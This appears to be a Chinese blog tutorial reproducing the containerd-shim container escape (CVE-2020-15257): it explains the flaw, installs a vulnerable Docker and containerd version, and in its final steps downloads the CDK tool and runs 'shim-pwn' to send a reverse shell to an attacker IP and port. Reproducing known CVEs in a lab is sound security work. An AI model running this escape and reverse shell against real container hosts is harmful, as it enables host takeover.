Docker 容器逃逸漏洞 (CVE-2020-15257)复现

漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

影响版本

复制代码
containerd < 1.4.3``containerd < 1.3.9

环境搭建

1.Ubuntu更换源

复制代码
vim  /etc/apt/sources.list
 
#将文件内容替换为,这里为了速度快,我用了阿里的源
 
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
  
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse  

3.添加官方GPG密钥

复制代码
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

4.设置稳定的存储库

复制代码
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"

5.查看可安装的docker版本

复制代码
apt-cache madison docker-ce

6.安装指定版本的docker

复制代码
apt-get install docker-ce=<Version> docker-ce-cli=<Version> containerd.io=<Version><br>apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

7.下载一个容器

复制代码
docker pull ubuntu:18.04

8.通过--net=host 作为启动参数来运行并进入一个容器:

复制代码
docker run -it --net=host ubuntu:18.04 /bin/bash

9.在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字.

10.由于docker没有wget工具,需要在docker里面下载wget

复制代码
apt-get update
apt-get install wget

11.下载exp并实现反弹shell,实现docker逃逸

复制代码
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz ./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]./cdk_linux_amd64 run shim-pwn 192.168.1.8 12345

12.攻击机监听1234端口,可看到docker逃逸成功。

相关推荐
Harvy_没救了1 小时前
【网络部署】 Win11 + VMware CentOS8 + Nginx 文件共享服务 Wiki
运维·网络·nginx
春风有信1 小时前
【2026.05.01】Windows10安装Docker Desktop 4.71.0.0步骤及问题解决
运维·docker·容器
2401_873479402 小时前
断网时如何实时判断IP归属?嵌入本地离线库,保障风控不中断
运维·服务器·网络
守城小轩2 小时前
基于Chrome140的Yahoo自动化(关键词浏览)——需求分析&环境搭建(一)
运维·自动化·chrome devtools·浏览器自动化·指纹浏览器·浏览器开发
handler012 小时前
Linux 内核剖析:进程优先级、上下文切换与 O(1) 调度算法
linux·运维·c语言·开发语言·c++·笔记·算法
日取其半万世不竭4 小时前
LVM 逻辑卷管理:不停机扩容磁盘的正确方式
运维·服务器
@insist1234 小时前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
优化Henry4 小时前
TDD-LTE站点Rilink=3链路故障处理案例---BBU侧C口“有发光、无收光”的排查与恢复
运维·网络·信息与通信·tdd
浪客灿心4 小时前
Linux网络传输层协议
linux·运维·网络
V搜xhliang02465 小时前
OpenClaw科研全场景用法:从文献到实验室的完整自动化方案
运维·开发语言·人工智能·python·算法·microsoft·自动化